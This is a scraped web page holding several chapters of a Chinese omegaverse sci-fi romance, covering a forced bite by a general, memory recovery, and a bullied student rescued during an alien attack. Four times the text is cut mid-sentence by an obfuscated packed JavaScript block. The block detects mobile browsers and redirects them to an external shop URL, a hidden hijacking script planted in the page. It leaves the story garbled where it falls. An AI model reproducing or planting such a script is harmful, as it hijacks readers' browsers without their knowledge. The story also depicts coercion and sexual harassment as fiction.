那是本能的屈服! 双膝一软,迟晓跪倒在那人面前。 但膝盖还没碰到地面,就被抓住了手臂! 迟晓眼前一晃,身体被反转,按进一副坚硬的胸膛。 男人的双臂如铁箍,力量大得根本不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281333|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能挣脱。声音同样狠戾。 “逃跑?你从来不知道安分是吗!” 迟晓不知他要做什么,惊慌间,后颈一阵刺痛。 “啊!” 曾经腺体的位置传来炽热的温度,皮肤上是越来越尖锐的触感。 这人又咬了他!还当着所有人的面! 浓烈的海啸一般的信息素炸裂在空气中,远处人群里传来惊呼。 迟晓失去腺体,他感受不到Alpha信息素中除愤怒之外的复杂情绪,只是像Beta一样,感到被支配的恐惧,这恐惧太剧烈,他心悸发抖,本能地挣扎,却换来更凶狠的对待。 军官压紧了他,将那块皮`肉抵在齿间反复噬.咬。 体型的悬殊,他已经无法反抗,而后颈不断加剧的刺痛,提醒着他的残缺。 迟晓咬紧牙齿,忍住不发出声音,却屈辱地几乎落下泪来。 他不是Omega了,也无法标记,为什么还要这样对待他! 浑浑噩噩中,男人总算放开了那里,滚烫的气息转而落在耳侧。 “不要挑战我的耐心!再有下次,我就把你按在手术台上,彻底地标记!” 低哑凶狠的声音让迟晓打了个抖。 他不怀疑这人真的干得出来。 可是,可是这个人有什么立场威胁他?明明是他先骗自己签下实验同意书! 骗子!疯子! “听明白了吗?”男人掐住他的下巴,迫使他回头,迟晓用力闭上眼,还挂着泪珠的长睫却控制不住地细细颤抖。 “睁眼!”Alpha命令。 迟晓只坚持了不到一秒,就在信息素的压迫下,抬起眼睑。 水灵灵的眼珠溢满痛楚和畏惧,和一点点微不足道的抵抗,像一只即将被咬断脖颈的羚羊,控诉着猎食者。 他以为会被更粗暴的地对待,那人却仔细看着他,目光疑惑。 “你……为什么害怕?感受不到我的信息素了吗?” 秦瀚洋表面的凶狠下,是充满独占和安抚的信息素。 迟晓刚遭遇异种,肯定吓坏了。 可是他控制不住脾气。 他怎么能心平气和呢? 得知小飞船里是迟晓的时候,他的心脏几乎停止跳动。 不夸张地说,如果当时他来不及用手拦下异种残片,就会毫不犹豫用身体去挡。 迟晓是那样的重要,胜过他的本能。 失去迟晓的后怕,失而复得的感激,疼惜和不舍,这些细微情绪,只有信息素能传递。 可现在,迟晓失去了腺体,连信息素的安抚都让他畏惧,这种挫败和无能为力像生锈的钝刀,凌迟着他。 “我该怎么对你才好?”高傲的Alpha第一次承认自己的无力。 男人沉沉地黑眸里是若有似无的蓝,像最深的海,本来正掀起惊涛骇浪,却一点点归于暗沉。 那眼神里的,是……怜惜? 但迟晓立刻否定了自己的猜测。 一个SSS级的Alpha,联盟的将军,怎么会怜惜他?更不该用这种眼神看一个残次的平民Omega。好似他们之间曾有过什么纠葛。 纠葛。 这个想法让迟晓背上窜起一片鸡皮疙瘩。他本能地感到排斥。 他想躲开,想逃避,像逃避什么可怕的东西。 是了,那是他切除腺体,清洗记忆也要逃避的东西! 11. 第 11 章 不要和这个人有任何关系! 眼前闪过些许画面。 黑暗的某处,他被这个男人紧紧压住,承受着狂暴而毫不留情地欲''望。 后颈疼到麻痹,那痛楚针一般刺入脑海深处,让此时的他再也无法忍耐。 “放开我!” 迟晓用力推开秦瀚洋。 这一下竟把人推开了一点,那人脸上闪过痛苦的神色,忽然间身子一歪,直接倒在迟晓身上。 “!?”迟晓被他压得几乎站不住。 一直躲在远处观望的医生们终于逮住机会赶来,抬起秦瀚洋。 男人双目紧闭,脸色白得吓人,已然是昏厥了。 医生们将他抬上担架,迟晓这才发现他右手手背上的伤。手背鼓起一个黑色的肿块,不断渗出墨汁一样的血丝,触目惊心。 那是机甲为救他,被异种穿透手掌时受的伤。机甲破损,神经相连的驾驶员也不能幸免。 医生们脚步匆忙,推走了担架。 迟晓目光追随着,心里却没有逃过一劫的轻松。 他摸上后颈,那里虽然刺痛但没有被扎破。 这是Alpha的威胁,提醒他,绝对不会放过他。 …… 悬浮担架被推远了。 一个白色球状机器人飘到迟晓眼前。 “不用担心,迟先生,我们指挥官可是3S级的Alpha,身体修复力是普通Alpha的三十倍。” 并没有担心,迟晓心想。 他撇了眼白球,问:“你是谁?” 白球倾斜了一下算是鞠躬。“您好,我是大地号的主控系统,您可以叫我白泽,因为我就像神兽白泽一样,无所不知。” 江教授走过来:“迟晓跑走了你都不知道,还敢说无所不知。” “不不不,我第一时间就发现了,只是因为异种入侵的优先级最高的缘故,没有及时报告。”白泽投影出一段监控画面。 迟晓被迫重温了一遍逃亡历程。 江教授看得很认真,发出了啧啧的惊叹声,“腿脚真快,看不出来,小迟你身手不错啊。” “放心,”白泽又欢快道。“现在您的优先级已经高过异种,是本舰最高级别。您的一举一动将受到严密关注,并第一时间报告给指挥官。” 江教授连连点头。“就该这样,白煮蛋。” “谢谢,请叫我白泽或小白。” 迟晓的脸黑了。 他幽幽转向正和白泽打趣的江教授。 “教授,您不觉得,还欠我一个解释吗?” 江教授的笑容凝固了。 迟晓:“实验的委托人就是他对吗?您为什么不告诉我?他又为什么要这么做?这个实验究竟是为了什么?” 迟晓的脸色很差。 江教授为难地扁紧嘴,知道没法逃避了,哭丧着脸。“抱歉,孩子,但我签了协议,什么都不能说。” 又是协议,迟晓苦笑。 他至始至终没有离开这艘星舰,房间什么的都是幌子。这份实验协议是不是真的都不好说。 他又想到秦瀚洋给他看的通缉令。 “我真的犯罪了吗?”他又问。 老人露出一点悲伤的神情,“据我所知,确实存在针对你的质控。但我也不能说,协议要求,必须你自己想起来。” 连您也瞒着我。 被背叛的苦涩攫住了迟晓,他眼里忍不住泛起湿意。 “您知道我最信任您。” 教授急忙解释:“相信我孩子,不管是瀚洋还是我,我们都是为你好。只有这样安排才能保护你!哦,糟糕,我说得太多了。” 小老头捂住嘴,迟晓失望地摇了摇头。 “我只知道你们在欺骗我,不说清楚,我将拒绝配合接下来的实验。” 他干脆地转身离开。 江教授愣了一下。 他想起从前,学生时代的迟晓总是乖顺柔和,说话都轻声细语,像柔软的小白兔一样无害。 可这样的外表下却是一颗坚韧倔强的心。 一旦做了决定,就不会轻易改变。 江教授忙拉着白泽跟上迟晓,一叠声试图劝他。 可迟晓头也不回,离开起落场。 他心烦意乱,不管东西南北,只埋头在错综复杂的走廊里不停地向前走。 忽然听到一声门响。 走廊里冲出来一个穿白大褂的人,一把扯住江教授。“教授!终于找到您了!快来!” 门重新关上前,迟晓看到,里面有更多的白大褂在奔走,机器滴滴的告警声夹杂着人声,一片混乱。 “上呼吸机……”有人大喊,声音被关闭的门缝截断。 迟晓僵立着,心口仿佛有一根丝线一点点扯紧。 他抬头,看见门上亮着红光的一排字。 紧急医疗区——抢救中。 …… 数小时后,位于医疗舰的蓝花壁纸房间中。 “可以确定是神经类毒素。”江教授疲惫道。“但不是已知的任何一种,太奇怪了...” 迟晓递来一杯水,教授接过去,握在手里,眉头紧锁。 秦瀚洋在手术时突然晕倒,抢救持续到凌晨,生命体征是稳住了,但人一直没有恢复意识。 现在能做的只有等待。 “这次的异种和以往的都不一样,”江教授继续自言自语。“软体型异种竟然能在太空存活,并且带有毒素...” 教授猛地站起来,背着手在房间里大步走来走去。 “不行,人命要紧,白泽,帮我联通‘主脑’,我要请求医疗支援。” “好的。”等候在一边的机器人闪了一会红光,声音频率突然压低。“糟糕,深空间通讯中断。” “什么意思?”教授问。 “我们与中央星系失去联系!”机器人红眼快速闪烁。 “探查到空间塌陷依然存在,相当于一个小型黑洞,辐射出的能量波和引力场导致通讯异常。” “怎么会这样?”教授喃喃道。空间塌陷总是在异种出来后就会消失。 又是一个反常。 “那就快点离开这里。”教授说。 白泽:“黑洞扭曲了空间,没有稳定的空间条件,无法跃迁。如果用常规动力离开这片空间,抵消掉黑洞的引力,大概,需要三个月。” “不不不……”教授两手抱住头,揪住白发。 “他的伤随时都可能恶化,我们等不了这么久!” 白泽:“经过各项权衡,这是唯一的办法。” “该死……”教授拿出装神经松弛剂的药瓶,吞了两片药片。 一片令人窒息的沉默中,响起一个柔软的声音。 “我想提醒一下,”迟晓平静地开口。“空间塌陷还存在,是不是意味着还会有异种从那里出来?” 教授猛地抬起头,看向迟晓,又转向白泽。 圆球机器人滴了一声。“目前各项数值在安全范围内,但您说的情况极有可能发生。概率系数:50%。” “呵,50%。”教授挥了下手,好像已受够了坏消息。“那如果出现异种,还有谁能战斗?” “没有人。” “什么?”迟晓也惊讶了。“可我看到有战机。” 白泽:“战机不足以抵抗异种,它的作用是僚机和清理战场。当将军无法行使职权时,我将代替他接管星舰。但我唯一的目标是保存有生力量,既盘古号驾驶员本身。可以说,整个“大地号”星舰是为机甲而存在。而机甲是为驾驶员而存在。别的不在考虑范围。” 半晌,教授吐出一口气。“我明白了,必要的时候为了保护瀚洋,将牺牲我们,对吗?” 白泽的红点无辜地闪了两下。“放心,现在还没到那个时候。” “……”这个机器人总是很会安慰人,迟晓想,心里并没有什么波澜。他目前的处境和死亡比起来也没有好多少。 教授跳了起来,脖子因为激动而发红。 “没到时候?我们逃离黑洞需要三个月,而异种随时可能出现,把飞船撕碎。概率是50%,我投个硬币就能决定生死,你说没到时候?” 白泽无感情地重复:“经过计算,这是唯一的办法。” “!” 一人一机器对峙了一会,江教授先泄气了。他又吃下一片药片,喝了点迟晓递来的水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281334|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 喝到一半他突然放下水杯。“不,还有一个办法能救他。” 他忽然看向迟晓。“你,去陪着他。” 迟晓愣住了,很是莫名其妙。 “我?我为什么要去陪他?” “因为你能稳定他的精神力,有利于他身体自愈。”教授回答得驴唇不对马嘴。 “……我又不是医生。” “但你是Omega。” 迟晓:“……” 只有终身标记过且极为恩爱的AO伴侣才有精神共鸣,他腺体都没有了,更别说,和秦瀚洋说不定还是仇人。 完全没道理。 “我拒绝。” “唉,你这么抗拒陪着他也没用。”教授挠着头发稀疏的头顶。“让你恢复记忆,你就愿意了。” 迟晓:“??” “那也不愿意!唉,等等……” 三分钟后,迟晓被江教授连拉带拽,来到记忆导入仪前,还在挣扎:“我说过不会配合试验!” “那你想让我们所有人都死掉吗?”江教授瞪起眼。“他醒了,我们才能避免那该死的50%死亡率!而且,恢复记忆,你就可以和过去做个了断。你不想清清白白地活下去吗?” 白泽在一边插嘴。“纠正一下,现在是59.9%。” 小老头呼哧呼哧喘气,看上去要撅过去了。 “只有你能救他!你到底做不做?” 迟晓:“……” 他叹了口气。“好吧,您别激动,先吃颗药。” 现在看来,为了所有人的安全,他只能答应。 . 再次被胶状物包裹,极度放松之后是突如其来的失重感。 迟晓睁开眼,先看到了一架银白色的机甲。 “盘古!?”有人说话。 “是的,这就是它的名字,”一个熟悉的声音欢快接口。 是年轻十岁的江教授,衬衫胸口上别着腺体研究所的徽章,脖子上挂着高级研究员的工作牌。 记忆拨开云雾,浮现出来。迟晓想起来,这是腺研所特地为菁雅学院的Omega们组织的研学活动,还是高级研究员的江怀意作为讲解员带学生们参观。 此时,十九岁的自己正站在Omega队伍的最后面,身处一间宽大的展厅里。展厅四面摆放着各色机甲模型,墙上展示着机甲图纸和说明。 中间,一架气势十足的机甲模型摆在聚光灯下,江教授正精神抖擞地介绍它:“正如你们已经知道的,机甲需要通过Alpha的精神力来操纵,但是Alpha的精神力有上限,这就限制了机甲的功能。所以,我们和兵器装备部合作,研发了这款未来型机甲。它可以和Alpha的精神力智能适配,越是强劲的Alpha越能发挥它的力量。它的潜力没有上限。” 教授用介绍自己的孩子一样的语气,激动地结束解说:“这,就是我们反击异种的希望,盘古号。” Omega们对机甲不感兴趣,反应寥寥。 他们身后却传来一个声音。 “它什么时候能制造出来?”迟晓回头,看到一群少年。都穿着深绿色军服,胸前别着徽章——一只爪踩四棱星的金翅黑鸮。 对了,这是黑鸮预备学校的学生,碰巧在同一天参观腺研所。作为联盟精英军官的后备军,个个都是SS级的alpha和具有同样潜力的Beta。 而刚刚问话的人正是秦瀚洋。 他站在最中间,还是少年的身材高挑笔挺,张扬又性感的俊颜,即使在一群Alpha里也格外醒目。 他一说话,一群Omega立刻兴奋起来,地叽叽喳喳,不住偷眼瞄他。 迟晓也看见了纪麟羽。 漂亮至极的Omega遥遥投过去含笑的注视。 江教授笑起来。“盘古目前只是一个概念,但是,当它真正诞生的时候,只有最强的Alpha可以驾驭它。” 军校生们骚动起来,人人脸上都带着向往。 而秦瀚洋,只是微微一笑。他的目光落在机甲上,仿佛那未来的最强兵器已是他的所有物。 这时,少年察觉到什么,鹰一样的眼眸转过来,直直撞上迟晓的视线。 12. 第 12 章 那眼眸此时又是墨蓝色的,浩瀚深邃,带着股志在必得的强势。 迟晓心脏跳空了一拍,仿佛少年的气势狠狠撞进了他的胸膛。 他怔愣了一秒,随即想起之前的尴尬。 他不确定对方是否还认得自己,也不知道该做出什么表情,毕竟他救过自己,装作看不见似乎不太好,或许应该笑一笑打个招呼什么的。 但看来是多虑了。 在他抬起手,嘴唇刚刚抿起,一个窘迫的笑还没拉开时,对方已经转开目光。 那是绝对的冷漠,目空一切的傲慢,还有厌烦和嫌弃。 仿佛看见了什么让他反感的东西,没必要做出任何表示。 迟晓脸上发热,忙缩回抬到一半的手。 转回头前,他看见秦瀚洋向着某处勾起唇角,点了点头。 哦,那是纪麟羽的方向。 多么明显的对比。 他站在那,清晰地听到周围Omega们的讥笑。 “他想跟秦少打招呼呢,哈哈。” “笑死,彻地被无视了欸!” “他以为他是谁啊,C级而已,秦少能看得上他?” 细小的声音像针一样,刺得他越加低下头,把那只抬起一半的手扭出了深深的红印。 现在的迟晓旁观这一切,感到的只是彻头彻尾的麻木。 那时候的自己多么稚嫩,多么天真。总是忘记秦瀚洋和他是完全不同世界的人。 那个人生在顶层,永远只追求第一,且必然会得到第一。 他将分化成最顶级的Alpha,驾驭最强的机甲,拥有最美的Omega…… 他的眼里没有劣等O的地方。 可是,话又说回来,他为什么要抓回残次品的自己?当年那么看不起他,现在总不会想标记他。 迟晓后颈还残存着牙齿锋利的触感,越发无法理解。 视线又转回回忆。 他能感受到年轻的自己的心情。 曾经的迟晓酸楚着,懊恼着,扭头不再看那人一眼。 却没有发现,他早已忍不住为这个身份悬殊,英俊强大的少年心动,所以才会因为被冷落而格外憋闷。 多么可悲。 在难堪的初见之后还会抱有幻想,他真想敲醒那时的自己。 迟晓叹口气,跟着回忆继续。 此时,学生们跟着教授走向下一个展厅。 年轻的Alpha们头一次与一群又美又香的Omega近距离接触,都骚动起来,只是碍于军纪和年轻人的羞涩,十分克制。 Omega们则娇笑着交头接耳,一边偷瞄那些阳刚帅气的小伙子。 迟晓心里闷闷的,本不想再瞧见秦瀚洋。可那人实在太惹眼,目光一不小心就会又落到他身上。 然后,心情再次落到谷底。 秦瀚洋不知什么时候和纪麟羽走在了一起。 两人肩膀若即若离地靠着,纪麟羽时不时抬头,漂亮眼睛钩子似的挂在身边人身上,说着什么。 秦瀚洋倒是目视前方,只是嘴角似有若无地挑起,像是回应。 两人看上去十分登对。 迟晓转开目光,轻咬了下嘴唇。 当然登对了,秦家和纪家都是顶级世家,秦家把控联盟政权的核心,纪家在经济领域独占鳌头。 可谓门当户对。 更糟的是,迟晓又被排挤了。 Omega们三三两两交谈嬉笑,将他挤到无人搭理的角落,Alpha们则像看珍稀动物一样看他,迟晓听到了自然分化,C级,难看之类的词,夹杂着嘲讽的笑声。 他成了AO之间眉来眼去,窜动不休的暧昧气氛的调料。 事实上,自从上次聚会发生意外后,他就成了纪麟羽的眼中钉,没人敢得罪纪家,也就没人敢再和他说话。 他的光脑却莫名其妙收到很多添加好友的邀请。打招呼的都是身份不明的Alpha,内容言辞挑逗,不堪入目,明显是有意骚扰。 还有一个账号约他出来,直接发来了那家俱乐部的监控录像,里面是他情.热时的模样,被放大,二次制作成有色小视频。 迟晓看到时整个人都懵了。 他不敢想象谁能拿到这个录像,纪麟羽?还是薛枫?这个恶意拼接的视频又会被多少人看到。 他直接拉黑了那个账号,那一阵子都噩梦连连。 他像被无数不怀好意的目光盯着,就像现在。 他忍耐着,直到参观总算快结束。 本以为能松口气,江教授却搞了个有奖问答。 答对他问题的人可以获得最后一版的《信息素的秘密》 “哦……”学生们完全没有兴趣。 他们都知道这是本古早科普书。 但迟晓激动起来。他是唯一一个自然分化的Omega,他一直想不明白为什么他会突然长出腺体,分泌信息素。这本已经绝版的书或许能提示他,而且里面还有许多他喜欢的生物化学知识。 他怀疑自己是唯一竖起耳朵听题目的Omega。 “机甲通过什么维持与人体的神经联系?” Omega们既不知道答案也不想回答,Alpha中倒是有不少人举手。 “Omega们都不知道吗?”江教授问。于是迟晓怯生生地举起手。本来这种场合他都是缩在人群里的,可他太想要这本书了。 教授点名他回答了。 “通过仿生神经元系统。”他听到自己的声音,稚嫩又柔软。 “很好!看来Omega中也有关心学习的。这本书是你的了!” 迟晓在教授的招呼下走上前拿书。 “啊!你就是那位自然分化的Omega吗?”教授握着他的手问,他觉得所有人的目光都集中在自己身上,脸上烧了起来。 他想到腺研所曾想把他当试验品研究,被他母亲告了一状还赔偿许多精神损失费的事。只觉得眼前这位研究员大概说不出什么好话。他局促极了,只想像刺猬钻回土里一样赶紧躲回人堆里。 但江教授拉住他的手,眼里闪亮。 “知道吗,孩子,你是个奇迹!” —— 结束参观后是半小时的展馆内自由活动。Alpha们大多是世族出身,他们礼貌地让出一条通道,让Omega们先走。 因为那一句“奇迹”,迟晓通过时,不少Alpha都看了过来。 察觉到或评头论足或好奇探究的视线,迟晓的头埋得更低了。 他本来就是腼腆敏感的性格。 未分化时,经过Alpha聚集的球场,有人冲他吹口哨,都会紧张地低头加快脚步。 现在,他自认为是最丑的Omega,被这些顶级Alpha们注视,只觉无数道目光织成目的不明的网,捆得他肢体都要不协调了,只能抱紧怀里的书,尽量走快些。 早已淡然自若的迟晓体验着当时自己的羞恼,只想苦笑:真是个小傻子。 他看着自己躲到僻静处,开心地打开书本,已经猜到接下将发生的事。 傲慢狭隘的人不会允许他蔑视的对象超过他哪怕一点点。纪麟羽就是这样的人。 迟晓看书看得正投入时,眼前突然落下阴影,书被猛地打掉。他抬头,发现自己被一群Omega围住了。 美若天使的精致少年俯视着他,一根手指绕着缕银色卷发,似笑非笑。 “你是奇迹?嗯?” …… 房门被拉上,脚步声远去。黑暗逼仄的空间里只有迟晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281335|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的呼吸声,像破了的抽风机。 他呼吸困难,因为嘴里塞着撕碎的纸张。书本的其余部分被撕碎散落在地上。他的手腕被皮带绑在一个架子上,勒得生疼。那皮带是从他裤腰上扯下来的,裤子被扯坏了,扔在一边,他只能蜷起腿缩在冰冷的地上。 “这个样子才适合你。”纪麟羽走之前冷笑道。 “奇迹?是奇葩吧!” “自然分化的丑八怪!” 那群Omega怪笑着,像饱食的秃鹫丢下骸骨离开。 迟晓身体在发抖,但他没有哭,大概因为骨头是冷的,是硬的,但绝不会哭。 他只是咬紧自己的嘴唇。 事隔多年,他再次尝到屈辱与悲愤,鲜活如口中的铁锈味。这是旧日自己的情绪,他很想抱抱他,告诉他,这些人再怎么张牙舞爪也不过是灰色的尘埃,只要奔跑起来,总有一天你会把他们远远甩在后面。 但他什么也做不了,只能看着自己拼命挣动手腕。头层牛皮制作的校服皮带把手腕磨出了血印,却一点没有松动。 这是第二次被皮带绑住。 他从此再也不用皮带,就是因为这个。 挣不开绑缚,他就只能等。等玛尔夫人——他们的班主任——点名发现他不见了来找他。可那样,他这幅狼狈模样就会被看见了。太难看了,而且,如果问起来,他该说是谁做的吗? 其实就算他说了也没有用。不用他指认,所有人都心知肚明。但谁会舍得指责最美的Omega,谁又敢得罪联盟首富的纪家。 只有关于他丑态的流言会越传越广。 他必须靠自己逃出去! 迟晓恢复了一点力气,继续扯动皮带。 可就在这时,外间传来一声尖锐的长鸣。 刺耳又不详,仿佛无止无尽。迟晓花了几秒才想起来,这是异种入侵的警报! 可这里是主星。被重重防线,警戒网和要塞护卫的主星。在此之前,从未遭遇过异种入侵的主星。 迟晓慌了。这警报意味着攻击随时会来临,必须立刻进入地下掩体。 他更用力地扯动双手。他所在的是一间存放机甲模型的小仓库,他能听到外面走廊杂乱的脚步声,还有玛尔夫人大喊集合的声音。 “呜呜!”堵住的嘴里发不出声音。 肯定会点名的,快点!快发现我啊! “好了,所有Omega都在这里了,快带我们走!”玛尔夫人的声音异常响亮。 迟晓怔住了。不对,还少一个人,点名啊,为什么不点名?还有我啊! “您确定吗?”一个男人的声音问。 “当然,我对他们再熟悉不过。” 门外的声音逐渐消失,迟晓的身体也渐渐冰冷。他想起来,贵族出身的玛尔夫人总是把血统和美丽挂在嘴边。她从来没把他当做一个Omega,危急时刻,她忘记他可能不是有意的,她根本不在乎他,没人在乎他。 不知过了多久,展馆大概撤空了,四周死一般寂静,只有刺耳的警报不肯停歇。 他在死寂里颤抖,越来越绝望。 突然,爆炸声和撞击声同时响起。地板猛烈震动。战机的呼啸和离子炮特有的雨点般的声音震耳欲聋。 异种着陆了,就在不远处。不,就在展馆里。 物体碎裂的声音不断响起,中间夹杂着怪异的挲挲声,像一大堆金属蜘蛛在快速靠近。 迟晓更紧地缩起来。在那短短几秒钟里,他来不及想别的,只有一个念头:他的裤子还没穿上,他不要这么难堪得死掉。 砰! 房间门被猛地撞开,他惊恐地扭头。 ——他要死了吗? 倾泻的亮光里,是一个高挑的剪影。 “找到你了!” 13. 第 13 章 “找到你了!” 少年的声音夹着喘息,从来没有这么动听。 迟晓愣住了。 怎么会是他,他怎么知道自己在这? 秦瀚洋刚说完就顿了一下。 迟晓从他的反应里看出震惊。 他显然没想到会见到眼前的景象。 迟晓想到自己的模样,一时间只想躲到地板下面。 他手被绑着高高吊起,嘴被纸团堵住,脸都变形了。衣衫凌乱,堪堪遮住要.害,两条腿都露在外面,白晃晃的,藏都藏不住。 简直比第一次见面还要糟糕。 但秦瀚洋很快恢复镇定。 他冲过来,几下扯掉皮带扔到一边,声音低沉急迫。“快走!它们来了。” 它们? 迟晓抠出嘴里的纸团,抓过长裤正要穿,一件东西落在他头上。 “来不及了,先穿我的。快!”是秦瀚洋的校服外衣。 慌乱穿衣时,黑鸮徽章划疼了迟晓的脸。 他被拉着冲出仓库,看到走廊的第一眼,浑身毛孔都竖了起来。 虫子! 密密麻麻的黑色异形虫占据了大半走廊。 每一只都有人头大小,伸出各色怪异的口器和鞘翅,以及无法形容的可怖器官。 它们源源不断,流水一样从所有缝隙里涌进来。 迟晓腿都软了。但他随即发现,这些泛着金属光泽的黑色怪物不是真正的虫子。因为他们能像水一样时而合并时而散开,溶合成不同形状。 更像是液态的金属。 “可恶!是流体型。”他听到秦瀚洋咒骂了一声,就被拉着向相反的方向奔跑。 通过一间房间,又是走廊,黑色金属虫潮从那一头涌入,他们拐弯上楼,秦瀚洋撞开一扇锁住的铁门,之后是更窄的走廊。 这座展馆为了追求独特设计,格局异常古怪,走廊楼梯错综复杂,挲挲声被异构的空间放大,瀑布般从四面八方围堵而来。 迟晓不知跑到了哪里,腿一味狂奔,仿佛已经不是自己的,但手上传来的沉稳力道让他不至于惊慌失措。 突然,他被推进了一间亮着灯的房间。 房间很大堆了不少箱子,四面无窗,应该是仓库。秦瀚洋迅速关上门,般来几个大箱子顶住门。 “到后面去,越远越好。”他说着站到正对门的位置,平举起一把模样奇特的枪。 迟晓听话地躲到最远端的箱子后面。 只凭一把枪对抗异种,简直是死路一条,可他莫名地相信那个少年,相信那尚且单薄的背影能将死神拦住。 头顶的灯忽明忽灭,发出滋啦滋啦的电流声,迟晓屏住呼吸,盯住门上的一条磨砂玻璃。 沙沙的声音大到震耳欲聋,异种却不见踪影。 终于,一片黑色影子从玻璃底部缓慢升高,像无数触角在玻璃上扭动,直到占满整片玻璃。 门板发出不堪重负的吱呀声,逐渐凹陷变形。 要断了! 门被冲开的一瞬,砰地一声巨响,迟晓反射性地抬手挡住眼睛,仍看见一道刺目的蓝光,和被炸得四溅的黑水。 怪不得秦瀚洋有把握。他想。这不是一把普通的枪。 连续几声爆响之后,通道被暂时清空。 “走!”秦瀚洋转头喊,迟晓忙站起来。就在这时,头顶噼啪一声。 灯灭了。 他猛然被黑暗包围,恐惧在一刹那放至最大。寂静里,毛骨悚然的挲挲声在他极近处响起。 什么坚硬的东西沉沉地压住了他。 “!!——”他听到自己脑海里的尖叫。 后颈传来尖锐的疼痛。 意识就此断开。 —— “嘀——”记忆导入仪发出告警音。 江怀意扑过去,看到数据显示心动过速,导入进度才到80%。他的手指悬在中止按钮上,好一会,才破釜沉舟般使劲收了起来。 迟晓再次醒来,发现自己还在回忆里。 他躺着,明亮的阳光从窗外射进来,房间里有一股医院特有的味道。 他得救了?他意识到。忽然察觉房间里还有别人。 一个高挑青年坐在床边的椅子上,在他看过去时露出了一个如释重负的笑容。 “太好了,你总算醒了。”青年说,细长的丹凤眼很是温和。 迟晓费了些功夫才记起来,这人是他们班新来的助教老师希尔塔。 因为过于优秀的成绩而被中央学府录取的平民Beta,却在毕业后选择做一名助教。 传言他脾气古怪,和曾经的同学,某位秦姓政要十分不合。 但迟晓觉得这人很温柔,大概由于出身的缘故,对待自己也是难得的一视同仁。 “有哪里不舒服吗?”希尔塔问。 迟晓摇摇头。他依然处在半迷茫状态。只记得有人喊他快走。 “那个人呢?”他问。 希尔塔几乎立刻就知道他问的是谁。 “他没有事,已经回去了。”他笑着说,并未点名道姓。 出于对某个家族的敬畏,普通平民不会轻易提起他们的名字。 迟晓问出了之前的疑惑。“他怎么知道我在那?” “他不是你的……朋友吗?” 迟晓听出来了,希尔塔想说的本来不是朋友,因为坐过那架惹眼的飞行器,纪麟羽让所有人相信,他是个死皮赖脸攀附豪门的心机Omega。 没等他否认,希尔塔又说:“是他先发现你不见了,他问和你一起的Omega,但没人知道你在哪,我们才发现漏掉了你。” 原来是这样,迟晓想,因为秦瀚洋一直在看纪麟羽,才会刚好看见他被他们带走吧。 希尔塔见他低头不说话,露出歉疚的神情。“对不起,当时我应该坚持点名的。这是我的工作失误。” 说不点名的是玛尔夫人,这人却主动道歉,迟晓感激他的好心。 他摇摇头,又问:“可是他为什么会回来救我?” 秦瀚洋只是学生,救人的事应该军队来吧? 迟晓不认为他有那么关心自己。 “联合防御部的军人不了解场馆布局,工作人员又不敢进去,他就主动站出来带路。” 说到这里,希尔塔的表情有些沉重。 “知道吗,救援小队全军覆没了。他能抱着你出来,简直是奇迹。” “你应该好好感谢他。” …… …… 画面淡去,记忆导入结束了。 在等待仪器打开的时候,神经元依然在建立连接,更多记忆开始复苏。 迟晓想起来,异种最后是被军方的小型核弹摧毁的,那块土地将被隔离,进行长达5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281336|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0年的治理,腺研所不得不搬了家。 军方紧急增强了巡防力量以防异种再次进入主星大气层。秦瀚洋也因为舍已救人被嘉奖。 因为Omega失踪,导致数名救援人员伤亡,议庭启动了调查程序,秦瀚洋的证词成了关键证据。 当时已是议员的秦之序建议完善Omega保护条例,增加了关于Omega之间产生伤害的惩罚细则。 纪麟羽成了第一个被警告的Omega,虽然他的家族通过种种运作将事情压了下去,但他精心打造的天使人设也彻底崩塌。 回想起这些,迟晓只觉得平静而坦然。导入仪的盖子打开时,他只是摸了摸后颈。 被刺伤的感觉依然留在腺体上。他不明白异种为什么要刺穿他的腺体,或许只是碰巧? 他迈出机器,江教授扶了他一把。 